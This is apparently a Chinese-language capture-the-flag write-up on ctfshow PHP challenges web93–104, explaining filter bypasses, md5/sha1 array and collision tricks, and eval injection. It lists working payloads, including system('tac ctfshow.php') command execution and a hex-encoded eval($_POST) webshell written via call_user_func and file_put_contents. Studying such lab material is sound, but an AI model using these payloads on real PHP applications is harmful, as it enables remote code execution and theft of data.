PHP代码审计——实操!

 ctfshow  PHP特性

web93

八进制与小数点

 

此题过滤了字母,所以不能用十六进制

可以使用八进制或者小数点

这里直接八进制绕过   ?num=010574

web 94

八进制与小数点

 

发现此时增加了一个strpos()函数

 PHP代码审计——实操!_第1张图片

因为if(!strpos($num, "0")),所以传入的参数的第一位不能为0

 专门拿来防第一位是0,那这里只要不是开头第一位是0就可以了,那我们给进制前加一个空格%20或者先换行%0a,或者使用浮点数加小数点4476.0的方法绕过

?num=%20010574
?num=%0a010574
?num=4476.0

web 95

空格换行符

多过滤个点,不能用浮点型绕过了,在前面加空格、换行

?num=%20010574
?num=%0a010574

web96

highlight_file() 下的目录路径

不能单独只出现flag.php,那就加上当前目录,或者加上绝对路径

?u=./flag.php

要记得加点.!!!

 web97

强比较


md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

a[]=1&b[]=2

或者可以找到一些md5后都是0e开头的值,这样他们值不相同,md5()后就相同,再或者就找一些md5后完全相同的值

扩展

md5弱比较,使用了强制类型转换后不再接收数组

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

md5强碰撞

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web 98

三目运算符+变量覆盖

 

 

get到新的知识点,三目运算+变量覆盖
$_GET?$_GET=&$_POST:'flag';如果get传参,那么就可以用post中的值将其覆盖
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);get传入一个HTTP_FLAG=flag即可得到flag
那不就是get随便传参,post传HTTP_FLAG=flag,然后让post去覆盖吗


PHP代码审计——实操!_第2张图片

PHP代码审计——实操!_第3张图片

 PHP代码审计——实操!_第4张图片

 

 web99

in_array()函数第三个参数

 

分析源代码,

array_push向数组里面插入随机数,

in_array判断n中是否含有这个随机数,

一开始想着把所有数字都写进去搞一个超级长的名字,但是发现名字一长就404了,

那就多传几次123.php,传上去以后在页面进行命令执行

PHP代码审计——实操!_第5张图片

 web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

php中OR与|| AND与&&的区别总结_php技巧_脚本之家

is_numeric() 函数用于检测变量是否为数字或数字字符串 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

= 的优先级都是高于and 和 or 的

所以$v1为数字即可让$v0为True

所以,让$ctfshow显出来就行了

很明显v2用来传命令,v3用来传 ; ,然后v1的话是传一个数字来绕过is_numeric,这里and与&&的一个知识点

$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

 v3可以用来传 ; ,注不注释都可以

可以rce cat php文件
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
可以直接var_dump ctfshow变量
?v1=1&v2=var_dump($ctfshow)&v3=;

 web 101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

这里牵扯到的是一个反射类的问题

php反射类 ReflectionClass使用例子 - DCloud问答

反射在 PHP 中的应用 | Laravel China 社区

反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句

其属性为类的一个名称,这道题目里面类的名称为ctfshow

payload:?v1=1&v2=echo new ReflectionClass&v3=;

举个例子

name,'
'; } } //有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射 //现在我可以通过反射来获取这个类中的方法,属性,常量 //通过反射获取类的信息 $reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息 $consts = $reflection->getConstants();//获取所有常量 $props = $reflection->getProperties();//获取所有属性 $methods = $reflection->getMethods();//获取所有方法 var_dump($consts); var_dump($props); var_dump($methods); ?>

返回值

array(1) {
  ["yn8rt"]=>
  string(5) "nb666"
}
array(1) {
  [0]=>
  &object(ReflectionProperty)#2 (2) {
    ["name"]=>
    string(10) "hackername"
    ["class"]=>
    string(6) "hacker"
  }
}
array(1) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(4) "show"
    ["class"]=>
    string(6) "hacker"
  }
}

如果没有指定方法的话,就会像题目中默认输出很多东西:

1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法

web 102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);// 这里的意思是从第二位开始截取
    $str = call_user_func($v1,$s);// 回调函数,第一个参数为调用的函数,其余的为调用参数的值
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

call_user_func(callback,parameter ) //是一个回调函数

第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。

会把参数过一下回调函数

PHP hex2bin() 函数:参数只有一个,将传入的参数(16进制转换为ascii字符)

首先还是赋值与and的优先级问题,所以就要保证v2传入的值为经过is_numeric函数判断后返回的结果为true,然后就是利用回调函数来实现读取操作

所以就可以这么利用啊:

post:v1=hex2bin

get:?v2=0x3c3f706870206576616c28245f504f53545b27796e275d293b3f3e&v3=yn.php

上面的16进制解码ascii:

但是有个什么问题:

var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false

但是本题的环境就是php7啊

PHP代码审计——实操!_第6张图片
PHP代码审计——实操!_第7张图片

 web 103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

这个地方的的匹配似乎毫无意义,只是为了让写入的文件中没有php,但是根据上一个题目的payload来看,也不需要php标签啊    与102 题的思路相同

web 104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

没有强制类型转换的话,sha1是无法识别数组的,直接就是数组绕过了

与md5一样,sha1无法处理数组,也可以用科学计数法绕104甚至传两个一样的值都可

GET:?v2[]=1
POST:v1[]=2

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

PHP代码审计——实操!_第8张图片

 

你可能感兴趣的:(ctfshow,php,android,开发语言)